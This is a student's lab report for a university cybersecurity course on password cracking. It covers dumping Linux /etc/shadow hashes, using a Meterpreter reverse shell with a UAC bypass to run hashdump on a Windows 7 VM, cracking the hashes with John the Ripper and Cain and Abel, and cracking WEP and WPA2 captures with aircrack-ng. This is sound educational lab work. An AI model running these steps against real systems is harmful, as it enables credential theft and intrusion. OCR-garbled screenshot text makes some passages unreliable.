# Old Dominion University CYSE 301: Cybersecurity Technique and Operations Assignment 4: Password Cracking (Part A) Alan Schneider aschn014

At the end of this module, each student needs to submit a report that includes the solutions to the following tasks. Make sure you take a screenshot for every single step as proof. You need to use



### Task A: Linux Password Cracking (25 points)

Task 1 and 2

1. **5 points.** Create two groups, one is **cyse301s23**, and the other is your ODU Midas ID (for example, pjiang). Then display the corresponding group IDs.

I used command groupadd to create cyse301s23 and aschn014

- 2. **5 points.** Create and assign three users to each group. Display related UID and GID information of each user. Then I used command useradd "name" -g "groupname" to add each user to their group. Then "cat etc/passwd | grep home" to get corresponding UID and GID information.
- 3. **5 points.** Choose six new passwords, **from easy to hard**, and assign them to the users you created. You need to show me the password you selected in your report, and **DO NOT** use your real-world

Cyse301s23	aschn014
Thor/321321	Black_Widow/3welcome
Iron_man/123456789	Hawkeye/academic
Captain_America/2Sarjose	Vision/acapulco



4. **5 points.** Export all six users' password hashes into a file named "**YourMIDAS-HASH**" (for example, pjiang-HASH). Then launch a dictionary attack to crack the passwords. You MUST crack at least one password in order to complete this assignment.



I used tail -n 6 /etc/shadow > aschn014-HASH.txt command to save the password hashes to a text document before launching a dictionary attack to crack the passwords.



I used gunzip /usr/share/wordlists/rockyo.txt.gz to unzip the worldlist for the dictionary attack. I then copied the wordlist into the current directory using cp /usr/share/wordlists/rockyou.txt

I used john aschn014-HASH.txt –wordlist-rockyou.txt command to run john the ripper against the saved hashes. Cracked passwords show below



### Task B: Windows Password Cracking (25 points)

Log on to Windows 7 VM and create a list of 3 users with different passwords. Then you need to establish a reverse shell connection with the admin privilege to the target Windows 7 VM.

Now, complete the following tasks:

**1. 5 points.** Display the password hashes by using the "hashdump" command in the meterpreter shell. Then

File Action Media Clipboard View Help   Recycle Bin     Applications Places Clipboard     Applications Places Clipboard     Mon 21:04     Image: Clipboard     Acrobat     Recycle Bin     Applications Places Clipboard     Mon 21:04     Image: Clipboard     Acrobat     Recycle Bin     Places Clipboard     Mon 21:04     Image: Clipboard     File Edit View Search Terminal Tabs Help     Image: Clipboard     File Edit View Search Terminal Tabs Help     Image: Clipboard     File Edit View Search Terminal Tabs Help   Image: Clipboard     File Edit View Search Terminal Tabs Help   Image: Clipboard     File Edit View Search Terminal Tabs Help   Image: Clipboard   Image: Clipboard   EXITEUNC process   Image: Clipboard   Exit technique (Accepted: '', seh, thread, process, none)   Image: Clipboard   Image: Cl	1		x t	3					n	Machine Conne	on on CY301-ASCHN014 - Virtual	Kali - Internal Workstatio	1	
Recycle Bin       Image											Clipboard View Help	File Action Media		<u>s</u>
Applications * Places * Terminal * Mon 21:04						-					IF 🗗 🗩 🖉 🚮	- I • • • • • • • • • • • • • • • • • •	E Contraction of the	Recycle Bin
Krobit Rador       File Edit View Search Terminal Tabs Help       root@CS2APenTest:-       x			) () -	1 .	18	1	ß		Mon 21:04		laces 🔻 🗵 Terminal 👻	Applications 👻 🛛 Pl		
Actobat Rador       File Edit View Search Terminal Tabs Help       Exit fechnique (Accepted: '', seh, thread, process, none)       X       Y       Y       Y       Notes       Y       Y       Y       Notes       Y			0	0	1			-	root@CS2APenTest					L
Rester     ut     root@CS2APenTest:-     ×     root@CS2APenTest:-     ×     root@CS2APenTest:-     ×     Image: Comparison of the state o				-					i verige contra cirica.	Tabs H	View Search Termina	File Edit		
EXITFUNC process Nmap- Zenmap GUI       yes       Exit technique (Accepted: '', seh, thread, process, none)         Widam SSR       Image: Strate in the str	N	ON	-	×E	×	APenTest:-	root@CS2AJ	×	root@CS2APenTest: -	×	root@CS2APenTest: ~	ut		Reader
EXIFUNC process       yes       Exit technique (Accepted: '', seh, thread, process, none)         Nmap:       LHOST       192.168.10.13       yes       The listen address (an interface may be specified)         LPORT       4444       yes       The listen port         Nutarin SSR       Id       Name	1	v	-				Constant of the local division of the local				***********			-
Nmap: Zenmap GUI     Image: Imag		* ·				none)	thread, process,	'', seh, th	Exit technique (Accepted:	yes	NC process	EXITFU		<b>1</b>
Nutarinx SSR     Exploit target:       Id     Name       0     Windows x86							y be specified)	Let race may	The listen port	yes	4444	2 LPORT		Nmap - Zenmap GUI
Nutanix SSR Id Name 0 Windows x86											arget:	Exploit t		1
0 Windows x86											me	Id Na		Nutanix SSR
											nuows x80	0 W1		
mcf5 avalait(v(ndave/) xe1 (kvassuse) > avalait									evoloit	mansuary	oit(windows/local/b	msf5 evol		
Wieshark N									exptoit		orc(erudoes) cocec/ol	M and expe		Wireshark
Started reverse TCP handler on 192.168.10.13:4444									68.10.13:4444	er on 192	ed reverse TCP hand	(*) Start		
A It UAC is set to Default										tevet	s set to Default	[+] UAC 1		
[+] BypassUAC can bypass this setting, continuing									ontinuing	setting,	sUAC can bypass this	[+] Bypas		
Geogle Profession Constructions group: continuing									uing	filesyst	ded the agent to the	Uploa		Google
Chrome Uploading the bypass UAC executable to the filesystem									to the filesystem	executab	ding the bypass UAC	Uploa		Chrome
Sending stage (1797) bytes) to 192,168,109									bytes long being uploaded 168.10.9	able /380 (es) to 19	ng stage (179779 bv)	Meter		
Meterpreter session 2 opened (192.168.10.13:4444 -> 192.168.10.9:1051) at 2023-04-10 21:00:53 -0400					90	:00:53 -040	at 2023-04-10 21:	9.9:1051) a	8.10.13:4444 -> 192.168.1	ened (192	preter session 2 ope	🛒 [*] Meter		
VM-Kai meteroreter > hashdumn											er > bashdumn	meteroret		VM - Kali
Login into							e0c089c0:::	31b73c59d7e	35b51404ee:31d6cfe0d16ae9	404eeaad	ator:500:aad3b435b5	Administr		Login into
Captain America: 1004: aad3b435b51404eea3d3b435b51404ee: 1209cb58fc3907004514fecf019e3463:::							ecf019e3463:::	907004514fe	3b435b51404ee:1209cb58fc3	b51404eea	merica:1004:aad3b435	Captain A		
Hawkeye:1005.aad3b435b51404eeaad3b435b51404eead642330ad6f7a28400c9bf0b84ff:::	sk.	Ielo Der					4ff:::	4d0c9bf0b84	404ee:4ce9eadea330a0f7a28	aad3b435l	005:aad3b435b51404ee	Hawkeye:1		
Whare HomeGroupUsers:1002;aad3b43b51404eead3b433b51404ee;2d79c7f57c09bad3139f56290e444b23::: Activate Windows		ioib acc	WS	Vind	ivate W	Acti	290e444b23:::	bad3139f562	b435b51404ee:2d79c7f57c09	51404eeaa	User\$:1002:aad3b435	HomeGroup		VMware
Window 7:100:134304351449eaa354351449eaa3543551449eaa3545117446bdd839b7586c:::: Go to Settings to activate Windedu		deqn	tivate Vit	is to a		Go to	586c:::	96bdd830b75	1404ee:8846f7eaee8fb117ad	eaad3b435	1000:aad3b435b51404eeaa	Window 7:		Wonstati
meterpreter >											er >	meterpret		
🟥 🔎 🗄 👘 🐂 Hyoge-Y Manager 🐎 Kali - Internal Work 🥦 Windows 7 on CY3	PM	9:04	~ 5						on CY3	J Window	😥 Kali - internal Work	Hyper-V Manager		

Password hashes retrieved using hashdump command after setup of reverse shell and injection of bypassUAC exploit to elevate permissions.

 10 points. Save the password hashes into a file named "your\_midas.WinHASH" in Kali Linux (you need to replace the "your\_midas" with your university MIDAS ID). Then run John the ripper for 10 minutes to crack the passwords (You MUST crack at least one password in order to complete this assignment.).



Saved hashes as your\_aschn014.WinHash.txt. Then ran john your\_aschn014.WinHash.txt – format=NT to crack the passwords shown below.

3. **10 points.** Upload the password cracking tool, **Cain and Abel**, to the remote Windows 7 VM, and install it via a remote desktop window. Then, implement **BOTH** brute force and dictionary attacks to crack the passwords. (You MUST crack at least one password in order to complete this assignment.).



Can and Abel uploaded via rdesktop command. Dictionary and brute force attack in following pictures.



Dictionary attack successful passwords listed above

	🛃 Kali - Internal Workstation on CV301-ASCHN014 -	Virtual Machine Connection					×
2	File Action Media Clipboard View He	p					
Recycle Bin	Applications 🔻 Places 🔻 🔳 rdeskt	op <del>*</del>	Mon 21:42		1	· · · · · · · · · · · · · · · · · · ·	-
1			0.0		-	- 13	1
		rdesktop - 192.168.1	0.9			- 0 *	100 M
Acrobat Reader	File View Ganfigure Tools	Help			OCCUP. T. I		ON
	🔄 🔹 🔹 🐝 蹦 職 🗒 📅	Force Attack	1.4. 1.4.		@CS2APenTest:	× •	
~	Cha	rset		Password length	-		Y
Nmap - Zenmap GUi	Cracker User N Star LM & NTLM Hast Adr	Predelined		Min 6	ie.		
-	MS-Cache Hasher Guy Cap	Caergmikimnopqrsiuvwxyzu+23406789	1	Start from			
<u></u>	PWL files (0)	Costalli					
Nutanix SSR	Cisco IOS-MD5 H Hot	space	Current password				
	CRAMMDS Hash	104461607522304	a0mvir	ita			
4	OSPF-MD5 Hashe	Rate 10000700 D	Time Left	1.0			
	RIPv2-MD5 Hashe     WRP-HMAC Has	12896762 Pass/Sec	93,7452	oays			
Wireshark	VNC-3DES (0)	aintext of 4CE9EADEA330A0F7	A284D0C9BF0B84FF is acad	lenic			
-	MD2 Hasnes (0)	unitert of torresardies	2002003132000417 13 0213				
	MD5 Hashes (0)						
Google	- 월 SHA-2 Hashes (0)						
Chrome	KIPEMD-160 Hash			Stop Eat			
	Radius Shared-Ke						
	- Th MSSQL Hashes (0. * IM & LM & N	TLM Hashes					
VM - Kali Login info	http://www.oxid.it					-	
		0		9:42 PM			
				4/10/2023		161	LL-D-L
VMware						ctivate Windows	help Desk:
Workstati						o to Settings to activate	Windedu
🖬 o 🖽	👩 🔚 Hyper-V Manager 🥼 Kali – Internal W	ork 🥦 Windows 7 on CY3					9:42 PM
							4/10/2023

Brute force attack successful passwords listed above.

## Old Dominion University

### CYSE 301: Cybersecurity Technique and Operations

Assignment: Password Cracking (Part B - Wi-Fi Password Cracking)

Alan Schneider aschn014

#### Task C: 20 points

Follow the steps in the lab manual, and practice cracking practice for WEP and WPA/WPA2 protected traffic.

- 🖵 Kali Internal Workstation on CY301-ASCHN014 Virtual Machine Connection 0 File Action Media Clipboard View Help 🗄 🔘 🖲 🞯 💷 🕪 🔂 💆 🎒 Applications - Places - E Wireshark Tue 20:1 ダ 11) ()・ Acrobat Reader lab4wep-dec.cap File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help Wireshark · Follow TCP Stream (tcp.stream eq 180) · lab4wep-dec.cap 0 0 0 🖉 🔳 🥂 🛞 🖱 1INION [112 bytes missing in capture file].230 Login successful. 215 UNIX Type: L8 [9 bytes missing in capture file].200 Switching to Binary mode. [87 bytes missing in capture file].CMD /pub/wordlists/passwords/pg [11 bytes missing in capture file].550 Failed to change directory. 227 Entering Passive Mode (195,42,179,201,252,91). tcp.stream eq 180 SITY Nmap -enmap GU No Time I 5875 201.41 l.az Nutanix SSF -M Internet Protocol Transmission Contro File Transfer Prot n - CWD /pub/wordlis Request comman Request arg: / Google Chrome Ĩ Request arg: / [Current working di [Command response [Command response [Command response [Command response 8 Response duratio Packet 96444. 8 client pkts, 2 server pkts, 2 turns. Click to select. 20 00 1a f6 00 /M - Kal ogin inf Entire conversation (52 bytes) + Show and save data as ASCII \* Stream 180 🗘 🔵 🎽 Last frame seen in Find Next Find: Help Filter Out This Stream Print Back \* <u>C</u>lose Save as... t the ITS Help Desk: VMwan /orkstat shelp@odu.edu 8:17 PM 💼 🔎 🛱 🧔 🐂 Hyper-V Manager 🛛 🏖 Kali - Internal Work... < つ は 。
- 1. Decrypt the lab4wep. cap file (5 points) and perform a detailed traffic analysis (5 points)

Used airdecap to decrypt the .cap file. Using <u>ftp.request.arg</u> found an FTP data transfer of a wordlist to use in a dictionary attack against the target.

2. Decrypt the lab4wpa2. cap file (5 points) and perform a detailed traffic analysis (5 points)



Ran dictionary attack against lab4wpa2.cap using wordlist rockyou.txt



Password Cracked



Used airdecap-ng -p password labwpa2.cap -e CCNI to unencrypt .cap file.

### Task D: 30 points

Each student will be assigned a new WPA2 traffic file for analysis. You need to refer to the table below and find the file assigned to you based on the LAST digit of the MD5 of your MIDAS ID. For example, the last digit of the hash for pjiang is **e**. Thus, I should pick up the file "WPA2-P5-01.cap."

### MD5 of pjiang is 5a618cdc3edffd8b4c661e7e9b70ce1e

You can find an online MD5 hash generator or the following command to get the hash of a text string,

	Last digit of your MD5	Filename
<pre>root@CS2APenTest: # echo -n pjiang   md5sum 5a618cdc3edffd8b4c661e7e0b70ce1e</pre>	0~3	WPA2-P1-01.cap
root@CS2APenTest:-#	4~5	WPA2-P2-01.cap
Figure 1 Command to get the MD5 hash.	6~8	WPA2-P3-01.cap
	9~B	WPA2-P4-01.cap
Then complete the following steps:	C~F	WPA2-P5-01.cap

ns • Places • E	erminal * Tue 22:10	1 2 7 10 0 7	)
rife- Nessus	root@CS2APenTest: -/Desktop/vMsnare .le Edit View Search Terminal Help	000	and the second
5_6.8-2+b1 md64.deb	Aircrack-ng 1.5.2		<b>1INIO</b>
	[00:00:06] 23016/7120712 keys tested (3557.14 k/s)		SITY
	Time left: 33 minutes, 15 seconds 0.32%		
	KEY FOUND! [ messenger ]		
_	Master Key : 6E 84 78 DE DA 38 6E 84 CE D8 65 7C F3 A6 17 23 79 70 F9 61 83 DF 11 D1 76 C0 45 54 DC E8 4A 2D		1
	Transient Key : 1F 73 1E FC 4F 52 34 B8 5A 85 DF 8A 15 6C 01 79 CF 70 DE 46 45 14 FF 98 38 CA B5 E0 80 0A E9 20 DB 94 0F 0F 47 88 7P 82 7F 18 72 32 D0 8E CD 1C A7 EA DB E6 48 1D CF 1C CF 59 78 EB 9A 2C CB FB	т	ħ
	EAPOL HMAC : FB 1D 9E C9 C1 92 7E 92 E9 2F 4D 45 65 41 84 3D		
	u must also specify the ESSID (-e).		
	ntgCS2APenTest:-/Desktop/VWshare# airdecap-ng -p messenger WPA2-P5-01.cap	e CyberPHY	
	tal number of stations seen 7 tal number of packets read 7675		
	tal number of WEP data packets 0 tal number of WPA data packets 1793		
	mber of plaintext data packets 0		
	mber of corrupted WEP packets 0		
- 8	mber of decrypted WPA packets 1668 mber of bad TKIP (WPA) packets 6		
	mber of bad CCMP (WPA) packets 0		Hite ITS Hele

1. Implement a dictionary attack and decrypt the traffic. - 20 points

Used aircrack-ng to decrypt password as "messenger" Then used command airdecap-ng -p messenger WPA2-P5-01.cap -e CyberPHY to decrypt .cap file.

2. Decrypt the encrypted traffic and write a detailed summary to describe what you have explored from this encrypted traffic file.

